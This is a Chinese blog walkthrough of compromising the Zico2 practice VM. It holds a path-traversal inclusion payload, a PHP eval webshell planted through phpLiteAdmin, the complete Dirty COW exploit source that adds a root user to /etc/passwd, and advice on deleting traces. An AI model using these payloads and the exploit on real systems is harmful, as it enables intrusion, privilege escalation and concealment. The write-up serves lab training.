zico2靶机打靶记录

GTL-JU Lv3

一、漏洞平台搭建

我们下载得到的是一个ova后缀的文件,OVA 文件是一种打包格式,它将虚拟机的相关文件(如虚拟磁盘映像、虚拟机配置信息、操作系统镜像等)打包成一个单独的文件,以便于传输、分享和部署虚拟机。

我这里可以直接导入这个靶场

image-20230907172324367

通过打开我们下载的ova文件导入靶场

image-20230907172503984

我们这里设置导入虚拟机的名称和存放位置

然后点击导入就可以导入这个靶机了

image-20230907172606614

然后我们开启靶机就行了

image-20230907172731134

这里就启动成功了

二、主机发现

首先我们要先获取到目标靶机的ip地址

由于目标靶机和kali在同一网段,我们这里直接用kali扫描网段存活主机

命令:

1
arp-scan -l

image-20230906112007294

通过对网段存活主机的扫描可以得到我们目标靶机的ip地址

二、信息收集

上面我们通过arp协议扫描到了目标靶机的ip地址

但是为了能够进一步渗透我们需要对目标靶机进行信息收集

nmap扫描目标靶机开放的端口

命令:

1
nmap -A -T4 -O -p 0-65535 192.168.113.133 

image-20230906113648922

目标靶机开放了22端口和80端口

说明目标靶机开放了web服务

访问响应的web服务

image-20230906113816865

三、漏洞扫描与利用

访问网站可以看到这是一个类似于商店类型的网站

首先就是对网站的各个功能点,页面进行测试,看看能不能找到利用的点

在对网站功能进行查看的时候可以看到在 Service存在一个跳转按钮

image-20230907111909544

点击后跳转到了一个商品页面

image-20230907131210092

我们可以看到这个所传递的参数和路由

http://192.168.113.133/view.php?page=tools.html

这里猜测后台处理逻辑是通过page参数将我们要访问的页面传递给view.php进行处理后将相应的页面传递给前端。

我们这里把参数值改为index.html

image-20230907131613066

可以看到成功返回了首页面

但是只能返回设定路径下的文件

比如我们这里尝试返回根目录下的/etc/passwd

image-20230907131835473

回显是空,说明这个只能返回对应目录下的文件,但是如果网站过滤不严格的话,我们完全可以通过../向上一级跳跃

image-20230907132400583

读取成功,说明这里存在文件包含漏洞

但是这个漏洞也只是可以让我们对服务器的一下文件进行读取和查看,并不能帮助我们直接拿下这台服务器

其他的功能点并没有找到明显可以利用的漏洞

通过dirsearch工具对网站目录进行扫描

命令:

1
dirsearch -u http://192.168.113.133

image-20230907133017583

很明显这里存在一个dbadmin路由

image-20230907133051115

访问可以发现存在两个页面一个是首页,另外一个是执行数据库操作的文件

访问test_db.php

image-20230907133250970

尝试弱口令登录

admin可以登录成功

image-20230907133408575

这是一个对数据库进行操作的页面

image-20230907134334708

在数据库中我们可以得到两组账号密码

密码是被md5加密的,进行md5解密

可以得到两组账号密码:

1
2
root:34kroot34
zico: zico2215@

尝试ssh登录

image-20230907135213443

登录失败

这是一个管理 SQLite 数据库的开源 web 应用程序phpLiteAdmin 而且我们还给出了版本号

通过漏洞工具searchsploit去查询对应版本所存在的漏洞

image-20230907134132458

存在远程代码注入漏洞

那我们可以通过这个漏洞写入后门文件。然后通过文件包含漏洞访问这个后门文件进行shell利用

image-20230907135835527

创建的数据库文件是存在于/user/databases下的

并且对文件后缀并没有限制

那我们就可以创建一个php后门文件

然后在文件中写入一句话木马

image-20230907135415483

创建一个shell.php文件

设置表名和表的数量

image-20230907135935783

image-20230907140556674

在default value值出写入我们的一句话木马

1
2
<?php @eval($_POST[a]);?>

点击创建我们的木马文件就成功写入了

image-20230907141321927

但是因为我们写入的后门文件是在/usr/databases下

不能直接访问

所以我们这里通过前面的文件包含漏洞包含到这个后门文件

image-20230907140815609

蚁剑连接

image-20230907141231935

成功进入到服务器

image-20230907141356536

然后在服务器文件中

查找靶机中有没有存在敏感信息。最终在家目录中wordpress中的配置文件wp-config.php中找到了zico账号和密码 sWfCsfJSPV9H3AmQzw8

image-20230907142001637

尝试ssh登录

image-20230907142111950

登录成功

image-20230907142139159

但是可以看到这个账号只是普通用户权限

我们要拿下这太服务器就要把权限提升到root权限

四、脏牛提权

查看一下内核版本

image-20230907142424239

内核版本是3.2.0,那我们这里可以内核漏洞进行脏牛提权,脏牛漏洞影响版本低于3.9的liunx内核

利用exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
//
// This exploit uses the pokemon exploit of the dirtycow vulnerability
// as a base and automatically generates a new passwd line.
// The user will be prompted for the new password when the binary is run.
// The original /etc/passwd file is then backed up to /tmp/passwd.bak
// and overwrites the root account with the generated line.
// After running the exploit you should be able to login with the newly
// created user.
//
// To use this exploit modify the user values according to your needs.
// The default is "firefart".
//
// Original exploit (dirtycow's ptrace_pokedata "pokemon" method):
// https://github.com/dirtycow/dirtycow.github.io/blob/master/pokemon.c
//
// Compile with:
// gcc -pthread dirty.c -o dirty -lcrypt
//
// Then run the newly create binary by either doing:
// "./dirty" or "./dirty my-new-password"
//
// Afterwards, you can either "su firefart" or "ssh firefart@..."
//
// DON'T FORGET TO RESTORE YOUR /etc/passwd AFTER RUNNING THE EXPLOIT!
// mv /tmp/passwd.bak /etc/passwd
//
// Exploit adopted by Christian "FireFart" Mehlmauer
// https://firefart.at
//

#include <fcntl.h>
#include <pthread.h>
#include <string.h>
#include <stdio.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/ptrace.h>
#include <stdlib.h>
#include <unistd.h>
#include <crypt.h>

const char *filename = "/etc/passwd";
const char *backup_filename = "/tmp/passwd.bak";
const char *salt = "firefart";

int f;
void *map;
pid_t pid;
pthread_t pth;
struct stat st;

struct Userinfo {
char *username;
char *hash;
int user_id;
int group_id;
char *info;
char *home_dir;
char *shell;
};

char *generate_password_hash(char *plaintext_pw) {
return crypt(plaintext_pw, salt);
}

char *generate_passwd_line(struct Userinfo u) {
const char *format = "%s:%s:%d:%d:%s:%s:%s\n";
int size = snprintf(NULL, 0, format, u.username, u.hash,
u.user_id, u.group_id, u.info, u.home_dir, u.shell);
char *ret = malloc(size + 1);
sprintf(ret, format, u.username, u.hash, u.user_id,
u.group_id, u.info, u.home_dir, u.shell);
return ret;
}

void *madviseThread(void *arg) {
int i, c = 0;
for(i = 0; i < 200000000; i++) {
c += madvise(map, 100, MADV_DONTNEED);
}
printf("madvise %d\n\n", c);
}

int copy_file(const char *from, const char *to) {
// check if target file already exists
if(access(to, F_OK) != -1) {
printf("File %s already exists! Please delete it and run again\n",
to);
return -1;
}

char ch;
FILE *source, *target;

source = fopen(from, "r");
if(source == NULL) {
return -1;
}
target = fopen(to, "w");
if(target == NULL) {
fclose(source);
return -1;
}

while((ch = fgetc(source)) != EOF) {
fputc(ch, target);
}

printf("%s successfully backed up to %s\n",
from, to);

fclose(source);
fclose(target);

return 0;
}

int main(int argc, char *argv[])
{
// backup file
int ret = copy_file(filename, backup_filename);
if (ret != 0) {
exit(ret);
}

struct Userinfo user;
// set values, change as needed
user.username = "firefart";
user.user_id = 0;
user.group_id = 0;
user.info = "pwned";
user.home_dir = "/root";
user.shell = "/bin/bash";

char *plaintext_pw;

if (argc >= 2) {
plaintext_pw = argv[1];
printf("Please enter the new password: %s\n", plaintext_pw);
} else {
plaintext_pw = getpass("Please enter the new password: ");
}

user.hash = generate_password_hash(plaintext_pw);
char *complete_passwd_line = generate_passwd_line(user);
printf("Complete line:\n%s\n", complete_passwd_line);

f = open(filename, O_RDONLY);
fstat(f, &st);
map = mmap(NULL,
st.st_size + sizeof(long),
PROT_READ,
MAP_PRIVATE,
f,
0);
printf("mmap: %lx\n",(unsigned long)map);
pid = fork();
if(pid) {
waitpid(pid, NULL, 0);
int u, i, o, c = 0;
int l=strlen(complete_passwd_line);
for(i = 0; i < 10000/l; i++) {
for(o = 0; o < l; o++) {
for(u = 0; u < 10000; u++) {
c += ptrace(PTRACE_POKETEXT,
pid,
map + o,
*((long*)(complete_passwd_line + o)));
}
}
}
printf("ptrace %d\n",c);
}
else {
pthread_create(&pth,
NULL,
madviseThread,
NULL);
ptrace(PTRACE_TRACEME);
kill(getpid(), SIGSTOP);
pthread_join(pth,NULL);
}

printf("Done! Check %s to see if the new user was created.\n", filename);
printf("You can log in with the username '%s' and the password '%s'.\n\n",
user.username, plaintext_pw);
printf("\nDON'T FORGET TO RESTORE! $ mv %s %s\n",
backup_filename, filename);
return 0;
}

保存成一个shell.c文件

上传到我们的服务器

image-20230907155900947

用gcc编译一下

命令:

1
gcc -pthread c代码文件名 -o 输出文件名 -lcrypt

image-20230907160505475

执行编译后的程序

image-20230907160922874

输入密码

我们这里看一下etc/passwd

image-20230907161148341

可以看到我们这里成功添加了一个firefart用户而且还是root权限

我们这里其实就是利用脏牛漏洞在etc/passwd中添加了一个root用户

但是攻击者在利用脏牛漏洞时通常会创建一个备份文件,如 /etc/passwd.bak,用于保存原始的 /etc/passwd 文件内容

我们这里为了删除攻击痕迹,可以把这个文件删除掉

image-20230907161444986

上面我们通过脏牛漏洞成功添加了一个特权用户,并且有root权限

那么我们可以通过su切换到这个特权用户

密码是我们上面自己设的。

image-20230907161620764

提权到root权限,那么到这里我们就拿下了这台服务器。

  • 标题: zico2靶机打靶记录
  • 作者: GTL-JU
  • 创建于: 2023-09-08 11:35:01
  • 更新于: 2023-09-12 20:16:06
  • 链接: https://gtl-ju.github.io/2023/09/08/zico2靶机打靶记录/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。